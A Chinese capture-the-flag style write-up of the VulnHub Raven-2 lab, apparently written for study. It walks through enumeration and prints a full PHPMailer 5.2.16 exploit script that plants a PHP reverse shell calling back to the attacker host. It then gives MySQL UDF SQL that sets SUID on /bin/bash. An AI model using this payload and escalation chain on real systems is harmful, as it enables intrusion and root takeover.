当前位置：首页 > news >正文

vulnhub靶场【Raven系列】之2 ，对于mysql udf提权的复习

news 来源：原创 2025/6/9 16:15:12

前言

靶机：Raven-2，IP地址为192.168.10.9

攻击：kali，IP地址为192.168.10.2

都采用虚拟机，网卡为桥接模式

文章所用靶机来自vulnhub，可通过官网下载，或者通过链接:https://pan.quark.cn/s/a6558e284a2b

主机发现

因为都处于同一局域网、同一网卡、同一网段，并且因为桥接模式，扫描出的结果很多，所以决定采用arp-scan -l或者netdiscover -r 192.168.10.1/24扫描网段中的存活主机。

若想要模拟真实，可以采用nmap等工具

信息收集

使用nmap扫描端口

网站信息探测

访问80端口网站，发现与raven-1的页面是一样的

点击访问blog，发现是wordpress目录

再点击hello world发现，跳转到一个域名，和raven-一样，需要绑定ip进行解析

这里还是以linux进行编辑/etc/hosts文件进行绑定

再访问wordpress，页面正常显示了，并且是wordpress的某个主题默认界面

使用whatweb尝试对该网站进行指纹识别等操作，确定为wordpress，版本为4.8.7

那么使用针对该CMS的工具wpscan进行测试

wpscan --url http://raven.local/wordpress

那么尝试进行枚举用户，发现又是这两个用户michael和steven

wpscan --url http://raven.local/wordpress -e u

再次对插件进行测试，发现并无有漏洞的插件，爆破密码，但是时间太长，所以尝试进行网站目录爆破

这里是使用gobuster，当然还有其他很优秀的工具，如dirb、dirsearch等

gobuster dir -u http://192.168.10.9 -w /usr/share/wordlists/dirb/big.txt -x php,html,zip,tar -b 404,403

但是发现这里的结果与raven-1是一样的，访问vendor目录，点击PATH，发现第一个flag

不过这里也给出当前目录所在路径，往前推测，网站建设在/var/www/html下

点击version，发现版本为5.2.16，发现还是与raven-1一样，啧，怀疑与前面靶机的方式一模一样，访问security.md，发现还是一样的安全提示

php mailer漏洞利用

ok，那么就直接利用php mailer的漏洞

在raven-1靶场中，使用的是sh脚本，不过当时需要修改一些地方，这里采用py脚本进行测试

searchsploit phpmailer 5.2.16

查看脚本内容

把修改后的代码，放置在这里

from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lhtarget = 'http://192.168.10.9/contact.php'
backdoor = '/test.php'payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.10.2\\\',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit','name': payload,'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/test.php server\" @protonmail.com','message': 'Pwned'}m = MultipartEncoder(fields=fields,boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')headers={'User-Agent': 'curl/7.47.0','Content-Type': m.content_type}proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:print('[+]  ExPLoITeD ' + target)

我这里安装模块的pip有问题，无法直接安装缺失的模块，所以使用python开启一个虚拟环境

python3 -m venv ./my_venv
source my_venv/bin/activate

这时候就已经启动虚拟环境了，当然想要退出虚拟环境，只需要输入命令deactivate即可

这时再把缺失的模块使用pip安装，然后执行python3 40974.py即可

先在kali开启监听端口9999

nc -lvvp 9999

然后浏览器访问地址http://192.168.10.9/test.php，注意，这里访问的不是执行后提供的地址。

这里是把脚本写入到/var/www/html下的，所以直接访问即可

做到这里，我大概知道了，因为在发现两个用户的时候，就开始进行ssh爆破了，就是不能成功，所以这里是必须采用php mailer漏洞利用

使用dpkg测试靶机是否安装python，以及什么版本，然后使用python获取一个交互式的界面即可

dpkg -l | grep python
python -c 'import pty;pty.spawn("/bin/bash")'

靶机内信息收集

在进行种种目录探测时，发现/var/www目录下，出现flag2

啧，这里的信息与raven-1靶机一样的，所以直接就查看wordpress有无连接数据库的文件吧

查看wp-config.php，有信息，用户名root，密码R@v3nSecurity

发现之前两个用户的密码，不过进行hash加密了

这里可以把两个hash加密的密码，放入一个文件中，然后使用john解密即可，或者通过在线解密网站也是可以的，网站上基本上对于解密过的，很快便有结果，使用john的话，是暴力破解的

john的破解结果

获取到steven的密码LOLLOL1，尝试登录ssh发现不是，看来还是要登录网站

提权

通过上传pspy64观察有什么东西，发现只有mysql以root身份执行，那么很明确了，mysql udf提权

和raven-1靶机一样，这里复习一下

首先确定数据库的版本信息5.5.60

然后测试安全策略的情况

1）当 secure_file_priv 的值为 NULL ，表示限制 mysqld 不允许导入|导出，此时无法提权
2）当 secure_file_priv 的值没有具体值时，表示不对 mysqld 的导入|导出做限制，此时可提权！
3）如果是 MySQL >= 5.1 的版本，必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

在kali中使用searchsploit搜索对应的mysql udf漏洞

查看这个c文件，可以看到用法等情况，因为与raven-1一样，所以不再进行详细说明

在kali中进行编译，然后把.so文件上传到靶机内

这时候确定后，可以开始进行下一步操作了，这里不止可以定义do_system()，还有sys_exec()也行的，不过这里的脚本中的定义名为do_system，所以使用这个函数调用。

具体的可以再去看c文件，或者自己去编写

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
select do_system('chmod u+s /bin/bash');

再通过do_system执行加权限

在root用户的主目录下，找到最后的flag

总结

该靶场与前面靶场raven-1考察点是一样的，不过这里ssh爆破取消了。

网站目录爆破，发现名信息
使用php mailer对应的版本漏洞进行复习操作
获取反弹shell后，发现mysql与wordpress连接的数据库文件
上传pspy64获取到mysql以root身份运行的，所以权限很高
查看到wordpress的用户密码后，能破解的，还是登录网站查看，因为可能有其他敏感信息，多收集
测试mysql udf提权有无条件，也就是安全策略方面，能否写入和导出，以及插件目录的权限等等

vulnhub靶场【Raven系列】之2 ，对于mysql udf提权的复习

前言靶机：Raven-2，IP地址为192.168.10.9 攻击：kali，IP地址为192.168.10.2 都采用虚拟机，网卡为桥接模式文章所用靶机来自vulnhub，可通过官网下载，或者通过链接:https://pan.quark.cn/s/a65…...

编程日记 2025/6/4 8:36:36

【单片机开发 - STM32(H7)】启动流程、方式、烧录方式详解

如侵权，联系删，个人总结学习用参考资料：（最末尾有我的原生笔记，那个格式规范点） 安富莱 ARM汇编伪指令详解-CSDN博客【STM32】STM32内存映射以及启动过程（超详细过程）-CSDN博客…...

编程日记 2025/6/4 8:38:43

[手机Linux] ubuntu 错误解决

Ubuntu: 1,ttyname failed: Inappropriate ioctl for device 将 /root/.profile 文件中的 mesg n || true 改为如下内容。 vim /root/.profile tty -s && mesg n || true 2,Errors were encountered while processing: XXX XXXX sudo apt-get --purge remove xxx…...

编程日记 2025/6/4 8:38:02

springCloudGateway+nacos自定义负载均衡-通过IP隔离开发环境

先说一下想法，小公司开发项目，参考若依框架使用的spring-cloud-starter-gateway和spring-cloud-starter-alibaba-nacos, 用到了nacos的配置中心和注册中心，有多个模块（每个模块都是一个服务）。想本地开发，…...

编程日记 2025/6/4 8:38:19

MyBatis-增删改查操作一些细节

目录删除新增修改查询小结： 删除功能需求：根据ID删除用户信息 SQL：delete from user where id 5; Mapper接口方法（注意这里不是实现类）： /*** 根据id删除*/ Delete("delete from user wher…...

编程日记 2025/6/4 0:19:10

windows 极速安装 Linux （Ubuntu）-- 无需虚拟机

1. 安装 WSL 和 Ubuntu 打开命令行，执行 WSL --install -d ubuntu若报错，则先执行 WSL --update2. 重启电脑因安装了子系统，需重启电脑才生效 3. 配置 Ubuntu 的账号密码打开 Ubuntu 的命令行按提示，输入账号，密…...

编程日记 2025/6/4 8:37:29

【学习笔记】各种强化学习环境

0. 写在前面 0.1 强化学习综述/资料（更新中） 鹏程实验室： 中文报道：学术分享丨具身智能综述：鹏城实验室＆中大调研近400篇文献，英文原文：Aligning Cyber Space with Physical World…...

编程日记 2025/6/1 8:04:21

统计有序矩阵中的负数

统计有序矩阵中的负数描述给你一个 m * n 的矩阵 grid，矩阵中的元素无论是按行还是按列，都以非递增顺序排列。请你统计并返回 grid 中负数的数目示例 1： 输入：grid [[4,3,2,-1],[3,2,1,-1],[1,1,-1,-2],[-1,-1,-2,-3]]…...

编程日记 2025/6/4 8:37:13

【已解决】git clone报错：Failed to connect to github.com port 443: Timed out

1.问题原因1 报错信息1： fatal: unable to access https://github.com/microsoft/xxx/: Failed to connect to github.com port 443: Timed out 报错信息2： fatal: unable to access https://github.com/xxx/xx/: OpenSSL SSL_read: Connection was …...

编程日记 2025/6/4 8:37:46

Android SystemUI——使用Dagger2加载组件（四）

SystemUI 是 Android 系统中的一个重要模块，负责绘制系统栏（如状态栏、导航栏）、锁屏、快捷设置等用户界面元素。由于其复杂性，良好的架构设计和依赖管理对于保持代码的可维护性和扩展性至关重要。这就是 Dagger2 在此发挥重要作用的地方。一、Dagger2介绍 Dagger2 是一个…...

编程日记 2025/5/31 1:37:31

Lesson 109 A good idea

Lesson 109 A good idea 词汇 idea n. 主意，想法复数：ideas 用法：口语：Good idea! 好主意！ 　　　　　　Big idea! 高见！好主意！ 　　　　　　Great idea! 好主意　　　　　　Bad idea! 坏主…...

编程日记 2025/6/2 6:37:27

网络安全-RSA非对称加密算法、数字签名

数字签名非常普遍： 了解数字签名前先了解一下SHA-1摘要，RSA非对称加密算法。然后再了解数字签名。 SHA-1 SHA-1（secure hash Algorithm ）是一种数据加密算法。该算法的思想是接收一段明文，然后以一种不可逆的方式将…...

编程日记 2025/6/3 0:48:39

自动化办公|xlwings简介

xlwings 是一个开源的 Python 库，旨在实现 Python 与 Microsoft Excel 的无缝集成。它允许用户使用 Python 脚本自动化 Excel 操作，读取和写入数据，执行宏，甚至调用 VBA 脚本。这使得数据分析、报告生成和其他与 Excel 相关的任务…...

编程日记 2025/6/3 16:18:05

C#使用OpenTK绘制3D可拖动旋转图形三棱锥

接上篇,绘制着色矩形 C#使用OpenTK绘制一个着色矩形-CSDN博客上一篇安装OpenTK.GLControl后,这里可以直接拖动控件GLControl 我们会发现GLControl继承于UserControl //// 摘要:// OpenGL-aware WinForms control. The WinForms designer will always call the default//…...

编程日记 2025/6/2 21:10:02

【网络云SRE运维开发】2025第3周-每日【2025/01/14】小测-【第13章ospf路由协议】理论和实操

文章目录选择题（10道）理论题（5道）实操题（5道） 【网络云SRE运维开发】2025第3周-每日【2025/01/14】小测-【第12章ospf路由协议】理论和实操选择题（10道） 在OSPF协议中&#xff0c…...

编程日记 2025/6/2 20:47:47

计算机网络（34）可靠传输的工作原理

前言计算机网络可靠传输的工作原理主要依赖于一系列协议和机制，以确保数据在传输过程中能够准确无误地到达目的地。一、基本概念可靠传输指的是数据链路层的发送端发送什么，在接收端就收到什么，即保证数据的完整性、正确性和顺序性。由于网…...

编程日记 2025/6/1 10:42:21

提高互联网Web安全性：避免越权漏洞的技术方案

目录一、越权漏洞概述二、常见的越权漏洞类型三、越权漏洞的影响四、越权漏洞的技术解决方案一、越权漏洞概述越权（Authorization Bypass）类漏洞是指在系统中，攻击者通过绕过身份验证或访问控制，获取本不应访问的资源或…...

编程日记 2025/6/1 3:39:22

c语言 --- 字符串

创建字符串 1. 使用字符数组创建字符串 #include <stdio.h>int main() {char str[20] "Hello, world!";str[0] h; // 修改字符串的第一个字符printf("%s\n", str); // 输出：hello, world!return 0; }解释： 数组大小 20 表…...

编程日记 2025/6/1 11:54:59

Linux探秘坊-------1.系统核心的低语：基础指令的奥秘解析（3）

1.zip/unzip指令语法： zip 压缩⽂件.zip ⽬录或⽂件功能：将⽬录或⽂件压缩成zip格式常⽤选项: -r：递归处理，将指定⽬录下的所有⽂件和⼦⽬录⼀并处理 example: 1.事前准备建立以下文件与目录： 2.压缩test 目…...

编程日记 2025/6/3 7:51:09

Java中网络编程的学习

目录网络编程概述网络模型网络通信三要素: IP 端口号通信协议 IP地址（Internet Protocol Address） 端口号网络通信协议 TCP 三次握手四次挥手 UDP TCP编程客户端Socket的工作过程包含以下四个基本的步骤： 服务器程序…...

编程日记 2025/5/29 6:11:52

微服务的CAP定理与数据一致性抉择

分布式系统中的CAP定理，包括一致性（Consistency）、可用性（Availability）和分区容错性（Partition Tolerance）三个核心要素。微服务是分布式系统的一种表现形式，以及用户对于系统是分…...

编程日记 2025/6/3 10:15:16

正则表达式 - 简介

正则表达式 - 简介正则表达式（Regular Expression，简称Regex）是一种用于处理字符串的强大工具，它允许我们按照特定的模式（pattern）来搜索、匹配、查找和替换文本。正则表达式广泛应用于各种编程语言和工具…...

编程日记 2025/6/4 2:10:45

MySQL：表的内外连接

目录 1.内连接 2.左外连接和右外连接 178. 分数排名 - 力扣（LeetCode） 1.内连接内连接就是两张表做笛卡尔积，再加上一个筛选条件。这两个sql语句是一样的。 2.左外连接和右外连接左外连接就是左表必须是完全显示，即使筛选…...

编程日记 2025/6/4 0:12:35

65.在 Vue 3 中使用 OpenLayers 绘制带有箭头的线条

前言在现代的前端开发中，地图已经成为许多项目的核心功能之一。OpenLayers 是一个强大的开源地图库，它提供了丰富的功能和高度的定制化支持。在本篇文章中，我将向大家展示如何在 Vue 3 中使用 OpenLayers 绘制带有箭头的线条。我们将实现…...

编程日记 2025/6/3 7:49:58

关于编写测试用例的细枝末节

这里写目录标题故障判别类-边界考虑示例1.0：若A＞20.3且持续时间≥15ms时（判故周期为1000Hz），输出B为1，否则输出B为0。故障判别类-不可恢复测试示例1.1：若A＞20.3且持续时间≥15ms时…...

编程日记 2025/5/30 23:48:59

【Vim Masterclass 笔记13】第 7 章：Vim 核心操作之——文本对象与宏操作 + S07L28：Vim 文本对象

文章目录 Section 7：Text Objects and MacrosS07L28 Text Objects1 文本对象的含义2 操作文本对象的基本语法3 操作光标所在的整个单词4 删除光标所在的整个句子5 操作光标所在的整个段落6 删除光标所在的中括号内的文本7 删除光标所在的小括号内的文本8 操作尖括号…...

编程日记 2025/6/2 6:34:43

（一）QSQLite3库简介

1、SQLite数据库 SQLite数据库，作为一个轻量级的关系型数据库管理系统，广泛应用于移动设备和桌面应用程序中。由于其简单易用、无需配置的特点，它为开发者提供了极大的便利。然而，正是由于其应用广泛，随着用户对于系统…...

编程日记 2025/5/30 16:40:01

新版 MacOS 无法从 /usr/local/lib 加载动态链接库的解决办法

自己编写的动态链接库在Unix规范下一般位于/usr/local/lib，在2023年及之前的MacOS版本中，直接将动态库安装到该位置即可在程序运行时加载，可是升级MacOS版本后，ld就报错。错误现象运行程序，报错 dyld[6376]: Libra…...

编程日记 2025/6/3 7:55:44

PanWeidb-使用BenchmarkSQL对磐维数据库进行压测

本文提供PanweiDb使用BenchmarkSQL进行性能测试的方法和测试数据报告。 BenchmarkSQL，一个JDBC基准测试工具，内嵌了TPC-C测试脚本，支持很多数据库，如PostgreSQL、Oracle和Mysql等。 TPC-C是专门针对联机交易处理系统（OLTP系统）的规范，一般情况下我们也把这类系统称为业…...

编程日记 2025/6/3 20:06:35

git在本地创建新分支并将该分支推送到远程仓库

1. 创建本地分支首先，创建并切换到一个新的本地分支： git checkout -b new-branch-name2. 推送本地分支到远程仓库将新的本地分支推送到远程仓库，并在远程创建一个对应的新分支： git push origin new-branch-name3. 设置本地…...

编程日记 2025/6/1 9:02:41

Axure9笔记

快速入门原型图种类 1.线框图 2.高保真图 3.简易需求文档（PRD） tips 按住shift可以等比缩放旋转：ctrl按角角矢量图素材： iconfont-阿里巴巴矢量图标库复制svg图-->将svg图换为形状截屏： Windows&…...

编程日记 2025/6/2 23:31:42

33_操作Redis分片集群

1.Redis分片集群读写我们使用的redis-cli --cluster提供了很多操作集群的命令，可以通过下面方式查看。 [root@localhost ~]# redis-cli --cluster help 1.连接上7001节点后，尝试存储一组num=100和a=10的数据，语句如下所示。 [root@node1 cluster]# redis-cli -a 123456…...

编程日记 2025/6/4 15:25:20

llama.cpp 模型可视化工具 GGUF Visualizer

llama.cpp 模型可视化工具 GGUF Visualizer 1. GGUF Visualizer for VS Code (gguf-viz)1.1. Features1.2. Extension Settings References GGUF Visualizer https://marketplace.visualstudio.com/items?itemNameAgainstEntropy.gguf-viz 1. GGUF Visualizer for VS Code (g…...

编程日记 2025/6/3 18:50:00

前言